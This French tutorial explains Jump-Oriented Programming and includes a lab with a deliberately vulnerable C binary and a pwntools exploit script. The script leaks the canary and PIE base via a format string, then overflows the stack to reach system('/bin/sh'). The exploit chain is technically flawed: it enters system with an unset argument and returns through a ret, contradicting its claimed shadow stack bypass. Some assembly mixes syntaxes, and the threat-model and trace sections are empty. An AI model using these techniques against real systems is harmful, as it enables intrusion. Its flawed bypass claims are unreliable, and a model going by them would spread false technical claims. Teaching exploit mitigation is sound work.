01 - Origine et motivation

Pourquoi le JOP existe

Pour comprendre le JOP, il faut d'abord comprendre ce qu'il cherche à dépasser. Le ROP "Return-Oriented Programming" est apparu au milieu des années 2000 comme réponse à la protection NX (No-eXecute), qui rend la pile non-exécutable. L'idée était brillante : plutôt que d'injecter du code malveillant, on réutilise du code déjà présent dans le binaire. On appelle ces petits morceaux de code des gadgets.

Un gadget ROP est typiquement une séquence de quelques instructions suivie d'un ret. En contrôlant le pointeur de pile RSP via un débordement de tampon, on peut enchaîner des dizaines de gadgets pour construire n'importe quel comportement arbitraire: appeler system("/bin/sh"), effectuer des appels système, mapper de la mémoire exécutable, etc. Le ROP a longtemps été la technique reine de l'exploitation binaire post-NX.

"Le ROP a été tellement efficace que les défenseurs ont dû inventer de nouvelles contre-mesures. C'est là que le JOP entre en scène."

Des mécanismes comme Intel CET (Control-flow Enforcement Technology) et les Shadow Stacks ont été conçus précisément pour rendre le ROP inopérant. Le Shadow Stack conserve en hardware une copie séparée et protégée des adresses de retour légitimes. À chaque instruction ret, le processeur compare l'adresse chargée depuis la pile logicielle avec celle présente dans le Shadow Stack. Si les deux ne correspondent pas, une exception matérielle est immédiatement levée, la chaîne ROP est stoppée net.

C'est dans ce contexte que le Jump-Oriented Programming a été formalisé. La technique a été présentée par Tyler Bletsch, Xuxian Jiang et al. dans leur papier de 2011 "Jump-Oriented Programming: A New Class of Code-Reuse Attack". La prémisse est d'une simplicité désarmante : si ret est surveillé, utilisons jmp.

02 - Concept fondamental

Ce qu'est réellement le JOP

Le JOP est une technique d'exploitation qui construit un flux d'exécution artificiel en enchaînant des gadgets terminés par un saut indirect, typiquement jmp *reg ou call *reg plutôt que par ret. C'est une forme de Code-Reuse Attack (CRA) : on ne crée aucun code nouveau, on réorchestre du code légitime déjà présent dans les segments exécutables du binaire ou des bibliothèques chargées.

// RETURN_ORIENTED

ROP

  • Gadgets terminés par ret.
  • RSP est le dispatcher implicite: chaque ret consomme une adresse depuis la pile et y saute
  • La pile EST la table de dispatch.
  • Détectable par Shadow Stack : chaque ret est vérifié contre une copie matérielle sécurisée
// JUMP_ORIENTED

JOP

  • > Gadgets terminés par jmp *reg.
  • > Un registre dédié est le dispatcher : il pointe vers la prochaine destination
  • > Pile absente du mécanisme de dispatch.
  • > Invisible pour Shadow Stack.

L'intuition clé : en ROP, la pile joue le rôle d'un programme implicite, chaque adresse empilée est la prochaine instruction à exécuter, et RSP est le compteur de programme caché. En JOP, ce rôle est entièrement délégué à un registre pivot qu'on contrôle. Le programme n'est plus encodé dans la pile, il est dans les registres. La pile peut même être totalement absente du mécanisme de dispatch.

Cette différence architecturale est ce qui confère au JOP sa résistance aux défenses modernes. Shadow Stack surveille les ret, le JOP n'en émet aucun dans sa chaîne de dispatch.

03 - Anatomie d'une chaîne JOP

Une chaîne JOP bien construite s'articule autour de trois types de gadgets aux rôles distincts. Comprendre chacun est indispensable pour concevoir ou analyser un exploit JOP.

1. Le gadget dispatcher

C'est le cœur du JOP, son équivalent du mécanisme ret en ROP. Le gadget dispatcher est une petite séquence d'instructions dont le seul rôle est de déterminer quel gadget s'exécutera ensuite. Il lit une adresse depuis une dispatch table (un tableau d'adresses maintenu en mémoire) et y saute via un jmp indirect. Le pointeur vers cette table est lui-même maintenu dans un registre dédié, que chaque gadget fonctionnel a la responsabilité d'incrémenter avant de repasser la main au dispatcher.

dispatcher.asm
; Dispatcher classique : rbx pointe vers la dispatch table
dispatch:
    jmp  *(%rbx)           ; saute vers dispatch_table[0]

; Variante avec table indexée par rcx
dispatch_indexed:
    jmp  *(%rdx, %rcx, 8)  ; dispatch_table[rcx]

; Un gadget fonctionnel incrémente rbx avant de repasser au dispatcher
functional_gadget_with_dispatch:
    mov  %rax, [%rsi]      ; travail utile
    add  %rbx, 8           ; avance dans la dispatch table
    jmp  *(%rbx)           ; retour au dispatcher → gadget suivant

2. Les gadgets fonctionnels

Ce sont les gadgets qui produisent l'effet désiré : charger une valeur dans un registre, effectuer une opération arithmétique ou logique, préparer un argument pour un appel de fonction, écrire en mémoire, etc. Leur contrainte fondamentale est de se terminer par un jmp *reg idéalement vers le dispatcher, pour poursuivre la chaîne. En pratique, dans les exploits les plus compacts, un registre pivot unique (par exemple r12) joue simultanément le rôle de dispatcher et de cible finale, ce qui simplifie la structure.

functional.asm
; Gadget fonctionnel : prépare un argument puis saute vers le dispatcher
set_rdi:
    pop  %rdi              ; charge le 1er argument (ABI System V)
    jmp  *%r12              ; saute vers r12 (dispatcher/cible)

; Gadget fonctionnel : charge une valeur dans le registre pivot
load_pivot:
    pop  %r12              ; r12 ← adresse de la cible finale
    jmp  *%r12              ; saute directement à la cible

; Gadget fonctionnel : transfert de registre
mov_gadget:
    xchg %rax, %rdi         ; swap rax ↔ rdi
    jmp  *%rbx              ; retour au dispatcher

3. Le gadget initiateur (trampoline)

C'est le premier gadget exécuté lors de l'exploitation. Il assure la transition depuis le vecteur d'exploitation initial, un débordement de tampon, un use-after-free, une corruption de pointeur de fonction vers la chaîne JOP proprement dite. Son rôle est d'initialiser les registres clés : le registre pivot qui servira de dispatcher, et éventuellement le pointeur vers la dispatch table. Une fois ces registres mis en place, la chaîne JOP est autonome.

Dans les exploits simples, ce gadget initiateur peut être atteint directement via l'adresse de retour écrasée sur la pile. C'est le seul ret de toute la chaîne, et il est légitime du point de vue du Shadow Stack car il correspond à la frame de la fonction vulnérable.

04 - Le modèle de menace JOP

Contre quelles protections le JOP est efficace

Voici un bilan honnête du paysage des protections modernes et de la position du JOP face à chacune. Il est important de comprendre que le JOP ne contourne pas tout, il s'inscrit dans une stratégie d'exploitation où d'autres techniques (info leak, heap spray…) comblent les lacunes.

// THREAT_MODEL_SUMMARY

Le JOP est rarement utilisé seul. En pratique, il s'intègre dans une chaîne d'exploitation multi-étapes : une vulnérabilité initiale déclenche un info leak, le leak permet de calculer les adresses réelles, et la chaîne JOP constitue le payload final. C'est la composition de ces techniques qui permet de contourner toutes les protections simultanément.

05 - Trouver des gadgets JOP

La chasse aux gadgets dans un binaire

L'outil de référence pour énumérer les gadgets dans un binaire est ROPgadget, qui dispose d'un mode dédié au JOP. On peut aussi utiliser ropper. Le principe est de scanner toutes les séquences d'octets qui forment des instructions valides et se terminent par un saut indirect.

gadget_hunt.sh
# Lister tous les gadgets JOP avec ROPgadget
$ ROPgadget --binary ./vuln --norop

# Filtrer sur un pattern précis (pop + jmp sur registre)
$ ROPgadget --binary ./vuln --re "pop r.* ; jmp"

# Avec ropper
$ ropper --file ./vuln --type jop

# Exemples de gadgets JOP précieux et leur rôle
0x11c0:  pop  %r12            ; jmp  *%r12    → chargeur de pivot
0x11d0:  pop  %rdi            ; jmp  *%r12    → setter d'argument
0x????:  xchg %rsp, %rax      ; jmp  *%rbx   → pivot de pile
0x????:  mov  %rax, [%rdi]   ; jmp  *%rcx   → lecture mémoire

Le rôle critique des registres callee-saved

L'ABI System V AMD64 distingue deux catégories de registres selon qui est responsable de les préserver lors d'un appel de fonction. Cette distinction est fondamentale pour le JOP.

Les registres caller-saved rax, rcx, rdx, rsi, rdi, r8r11 peuvent être librement modifiés par n'importe quelle fonction appelée. Les registres callee-saved rbx, rbp, r12r15 doivent être préservés : toute fonction qui les modifie doit les restaurer avant de retourner.

En pratique pour le JOP, cela signifie qu'une valeur chargée dans r12 via un gadget restera intacte à travers des appels de fonctions intermédiaires. r12 est le registre pivot idéal : une fois initialisé avec l'adresse d'une cible (par exemple system), il gardera cette valeur jusqu'à la fin de la chaîne.

06 - Architecture d'un exploit JOP

Du débordement au shell

Un exploit JOP complet suit une architecture en plusieurs phases séquentielles. Chaque phase est une condition nécessaire à la suivante. Comprendre ce pipeline est essentiel pour concevoir un exploit robuste ou pour analyser un exploit existant.

exploit_pipeline.flow
01
Vuln Initiale
02
Info Leak
03
Contrôle PC
04
Gadget Init
05
Chaîne JOP
06
Shell

07 - Exercice Pratique

Application sur un binaire durci

Appliquons maintenant la théorie sur un binaire construit pour mettre en pratique le JOP dans sa forme la plus directe. Toutes les protections modernes sont activées simultanément, le binaire expose deux vulnérabilités intentionnelles, et deux gadgets JOP ont été écrits à la main en assemblage pur pour illustrer le mécanisme.

Protections actives
  • -fPIE -pie → ASLR + PIE
  • -fstack-protector-strong → Canary SSP
  • -z noexecstack → NX
  • -Wl,-z,relro,-z,now → Full RELRO
Objectif
  • Obtenir system("/bin/sh")
  • Sans écrire un seul octet de shellcode
  • En enchaînant deux gadgets jmp

Les deux vulnérabilités du binaire

La fonction main() appelle séquentiellement deux fonctions vulnérables, nous offrant un pipeline exploit en deux temps : d'abord le leak, ensuite l'overflow.

vuln.c - source complet
/* gcc vuln.c -o vuln \
     -fPIE -pie \
     -fstack-protector-strong \
     -O2 \
     -Wl,-z,relro,-z,now \
     -z noexecstack \
     -fno-omit-frame-pointer */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

/* chaîne "/bin/sh" ancrée en .rodata - utilisée comme argument */
__attribute__((used))
static const char hidden[] = "/bin/sh";

/* ── Gadget JOP 1 - chargeur de pivot ───────────────────────── */
__attribute__((naked, noinline))
void g1() {
    __asm__ volatile(
        "pop %r12;\n"    // r12 ← [RSP]  ;  RSP += 8
        "jmp *%r12;\n"   // saute vers l'adresse dans r12
    );
}

/* ── Gadget JOP 2 - setter d'argument ───────────────────────── */
__attribute__((naked, noinline))
void g2() {
    __asm__ volatile(
        "pop %rdi;\n"    // rdi ← [RSP]  ;  1er arg ABI System V
        "jmp *%r12;\n"   // jmp r12 = jmp system → system(rdi)
    );
}

/* ── Vulnérabilité 1 - Format String ────────────────────────── */
__attribute__((noinline))
void leak() {
    char fmt[64];
    read(0, fmt, sizeof(fmt));
    printf(fmt);  // ← format string : DANGEREUX
}

/* ── Vulnérabilité 2 - Stack Buffer Overflow ────────────────── */
__attribute__((noinline))
void vuln() {
    char buf[64];
    read(0, buf, 300);  // ← 300 octets dans 64 : OVERFLOW
}

int main() {
    setbuf(stdout, NULL);
    setbuf(stdin,  NULL);
    leak();   // stage 1 : info leak
    vuln();   // stage 2 : exploit
    return 0;
}

/* ── Constructeur - résout system() avant main() ────────────── */
__attribute__((constructor))
void __ctx() {
    system("/bin/true");  // force la résolution de system dans la GOT
}

L'astuce du constructeur: résoudre system() avant main()

Le binaire contient un constructeur (__attribute__((constructor))) qui s'exécute automatiquement avant main(), avant même que le programme ne soit visible pour l'utilisateur. Ce constructeur appelle system("/bin/true"), une commande inoffensive mais son effet de bord est décisif : il force la résolution de system dans la PLT/GOT dès le démarrage. Même avec Full RELRO, l'adresse réelle de system est ainsi accessible via elf.sym["system"] dès le début de l'exploitation.

Les gadgets JOP du binaire

Deux fonctions naked sont définies en assemblage pur dans le binaire sans prologue ni épilogue générés par le compilateur. Chaque instruction écrite est exactement ce qui s'exécute. Ces deux gadgets forment la totalité de la chaîne JOP.

vuln.c - gadgets JOP
// g1 - Gadget chargeur : initialise le registre pivot r12
__attribute__((naked, noinline))
void g1() {
    __asm__ volatile(
        "pop %r12;\n"   // r12 ← [RSP], RSP += 8
        "jmp *%r12;\n"  // saute vers l'adresse dans r12
    );
}

// g2 - Gadget argument : charge rdi et appelle via r12
__attribute__((naked, noinline))
void g2() {
    __asm__ volatile(
        "pop %rdi;\n"   // rdi ← [RSP] = &"/bin/sh" (1er arg ABI)
        "jmp *%r12;\n"  // jmp r12 = jmp system → system(rdi)
    );
}

g1 est le gadget chargeur : il pique la prochaine valeur sur la pile avec pop r12, y place l'adresse de system, puis y saute immédiatement avec jmp *r12. Il joue le rôle d'initiateur de la chaîne.

g2 est le gadget argument : il charge rdi, qui est le premier argument dans la convention d'appel System V AMD64 avec l'adresse de la chaîne /bin/sh, puis saute vers r12 qui contient toujours l'adresse de system. L'appel effectif est donc system("/bin/sh"). r12 est callee-saved : il a conservé sa valeur à travers tous les gadgets précédents.

Stage 1 : Info leak via format string

La format string vulnerability dans leak() nous permet de lire des valeurs arbitraires sur la pile en utilisant des spécificateurs de position comme %15$p. En envoyant la bonne chaîne de format, on extrait deux éléments essentiels : le canary SSP et une adresse dans le segment de code du binaire qui nous permettra de calculer la base PIE.

exploit.py - stage 1 : leak
# Envoi de la format string pour lire deux positions sur la pile
fmt = b"%15$p|%23$p"
# %15$p → position 15 depuis printf → le canary SSP
# %23$p → position 23 → adresse de retour dans main (contient l'offset PIE)

sh.sendline(fmt)

leaks    = sh.recvline().strip().split(b"|")
canary   = int(leaks[0], 16)
pie_leak = int(leaks[1], 16)

# Calcul de la base PIE : leak - offset_statique_de_main
elf.address = pie_leak - elf.sym["main"]

# Toutes les adresses sont maintenant calculables
g1     = elf.address + 0x11c0   # offset statique de g1 dans le binaire
g2     = elf.address + 0x11d0   # offset statique de g2
binsh  = elf.address + 0x2010   # chaîne "/bin/sh" dans .rodata
system = elf.sym["system"]      # résolu par __ctx au démarrage

Stage 2 : Construction du payload JOP

Le buffer overflow dans vuln() nous permet d'écraser la pile au-delà du buffer de 64 octets. Le layout mémoire de la frame est le suivant, on doit atteindre l'adresse de retour en préservant le canary intact :

Memory_Layout // Stack Frame - vuln()
+0x00
Padding ('A' × 72) - buf[64] + 8 align
+0x48
CANARY (valeur leakée exacte) bypass SSP
+0x50
Saved RBP ('B' × 8) - valeur arbitraire
+0x58
addr(g1) ← ret saute ici → entre dans g1
+0x60
addr(system) ← g1 : pop r12 = system
+0x68
addr(g2) ← sur la pile quand system reprend
+0x70
addr(binsh) ← g2 : pop rdi = &"/bin/sh"

Le script d'exploitation complet (pwntools) ressemble à ceci :

exploit.py - payload final
# ── Construction du payload ────────────────────────────
payload  = b"A" * (64+8)    # padding : buf[64] + 8 octets d'alignement
payload += p64(canary)         # canary intact → bypass SSP
payload += b"B" * 8            # faux RBP sauvegardé

# ── Chaîne JOP ─────────────────────────────────────────
payload += p64(g1)             # adresse de retour → ret saute dans g1
payload += p64(system)         # g1 : pop r12 ← addr(system)
                               # g1 : jmp *r12 → entre dans system
payload += p64(g2)             # RSP pointe ici quand system reprend la pile
payload += p64(binsh)          # g2 : pop rdi ← addr("/bin/sh")
                               # g2 : jmp *r12 → r12 = system encore
                               # → system("/bin/sh") !

sh.sendline(payload)
sh.interactive()

Trace d'exécution de la chaîne

Voici ce qui se passe exactement lors de l'exécution du payload, instruction par instruction :

// BILAN PROTECTIONS CONTOURNÉES
[BYPASS] NX aucun shellcode, uniquement du code existant dans .text
[BYPASS] PIE + ASLR base calculée grâce au leak format string
[BYPASS] Stack Canary valeur leakée et réécrite identique
[BYPASS] Full RELRO GOT jamais touchée, appel direct via adresse leakée
[BYPASS] Shadow Stack aucun ret dans la chaîne JOP, mécanisme invisible

08 - Références